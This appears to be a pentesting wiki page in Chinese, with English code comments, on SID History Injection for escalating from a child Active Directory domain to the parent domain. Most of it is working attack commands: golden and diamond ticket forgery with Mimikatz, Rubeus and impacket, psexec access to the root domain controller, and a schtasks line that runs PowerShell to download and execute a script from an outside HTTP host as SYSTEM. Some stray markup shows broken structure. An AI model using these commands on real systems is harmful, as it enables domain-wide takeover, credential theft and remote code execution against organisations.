SID History Injection 攻击

SID History Injection 攻击的重点是在用户在域之间迁移确保他们可以继续访问来自以前域的资源。这是通过将用户以前的安全标识符SID合并到其新帐户的SID History中来实现的。值得注意的是通过将父域中高特权组例如企业管理员或域管理员的SID添加到SID History中可以操纵此过程以授予未经授权的访问权限。这种利用赋予对父域内所有资源的访问权限。

有两种方法可用于执行此攻击:通过创建Golden TicketDiamond Ticket

要找到**"Enterprise Admins"**组的SID首先必须找到根域的SID。在确定后可以通过在根域的SID后附加-519来构建Enterprise Admins组的SID。例如如果根域SID为S-1-5-21-280534878-1496970234-700767426,则"Enterprise Admins"组的结果SID将是S-1-5-21-280534878-1496970234-700767426-519

您还可以使用Domain Admins组,其以512结尾。

另一种找到其他域组的SID例如"Domain Admins")的方法是:

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

使用KRBTGT-AES256的黄金票据Mimikatz

{% code overflow="wrap" %}

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

{% endcode %}

钻石票据Rubeus + KRBTGT-AES256

{% code overflow="wrap" %}

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

{% endcode %}

有关钻石票的更多信息,请查看:

{% content-ref url="diamond-ticket.md" %} diamond-ticket.md {% endcontent-ref %}

{% endcode %}

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

{% endcode %}

使用受损域的KRBTGT哈希值升级为DA或根管理员或企业管理员

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

{% endcode %}

通过攻击获得的权限您可以在新域中执行例如DCSync攻击

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

从Linux

使用ticketer.py手动操作

{% code overflow="wrap" %}

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

{% endcode %}

使用 raiseChild.py 进行自动化

这是一个 Impacket 脚本,可以自动将权限从子域升级到父域。脚本需要:

  • 目标域控制器
  • 子域中管理员用户的凭证

流程如下:

  • 获取父域的 Enterprise Admins 组的 SID
  • 检索子域中 KRBTGT 账户的哈希值
  • 创建一个 Golden Ticket
  • 登录到父域
  • 检索父域中管理员账户的凭证
  • 如果指定了 target-exec 开关,则通过 Psexec 认证到父域的域控制器。
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
